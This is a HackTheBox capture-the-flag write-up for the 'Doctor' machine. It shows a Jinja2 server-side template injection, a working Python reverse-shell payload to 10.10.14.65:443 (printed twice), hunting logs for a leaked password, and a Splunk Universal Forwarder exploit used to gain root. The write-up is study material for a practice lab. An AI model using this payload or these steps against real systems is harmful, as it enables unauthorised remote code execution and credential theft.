Doctor

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 4.2 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1, Recon enumerate the ports 22/tcp ssh 80/tcp http 8089/tcp ssl/http Splunkd httpd

In this place ,there is a tricky thing, when we change the hosts file and add the doctors.htb The index page would redirect to /login?next=%2F I guess it would because of port 8089 is the main domain page.
Let's register an account and we can update the account information

When we want to exchange to the admin ,we can find user admin is existed.

When we successfully post the first post, we can find something interesting from the source code <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

Let's check this url.

Visiting returns XML about the posts that exist:

<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>hello</title></item>

			</channel>

I tried to send payloads that might identify some kind of XXE vulnerability, but didn’t find anything useful.

Python web servers can be vulnerable to Server Side Template Injections. If the user input isn’t sanitized, it can be included in template code rather than handled as text, and this can allow for remote code execution. OWASP has a page that goes into good detail on the background. A quick example would be a Python Jinja2-based server that has a route like this:

@app.route("/hello")
def hello():
    user = request.values.get("user")
    return Jinja2.from_string(f'Hello {user}!').render()

If the user submits a get request like /hello?user={{7*7}}, the result would be Hello 49!, because the render function would process the text inside curly brackets.

We can find it worked.

<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>hello</title></item>

			</channel>
			<item><title>49</title></item>

			</channel>

I’ll grab the RCE payload from PayloadsAllTheThings and modify it by putting in my IP / port, and changing the process to bash -i to get a shell:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.65\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.65\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

As web, I can see one other user on the box, shaun: user.txt is in shaun’s home directory, but I can’t read it yet.

web is also a member of the adm group: uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

This is interesting because it means that web can read log files. I did a quick grep through all the logs for the string passw (which should get both “passwd” and “password”): grep -r passw . 2>/dev/null These would be useful for us:

"POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

We are lucky, this is user shaun password.

3,Shell as root. let's check sudo -l

sudo -l
[sudo] password for shaun: Guitar123

Sorry, user shaun may not run sudo on doctor.

But there is something interesting we found: -rw-rw-r-- 1 shaun shaun 66 Sep 15 2020 .selected_editor

# Generated by /usr/bin/select-editor
SELECTED_EDITOR="/bin/nano"

-rwxr-xr-x 1 root root 2442 Nov 17  2019 /usr/bin/select-editor

But I think this would be rabbit hole, so let's come to port 8089 Splunkd httpd Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF) https://github.com/cnotin/SplunkWhisperer2.git

Then we have the username shaun and password Guitar123 We can run this exploit and get the root shell.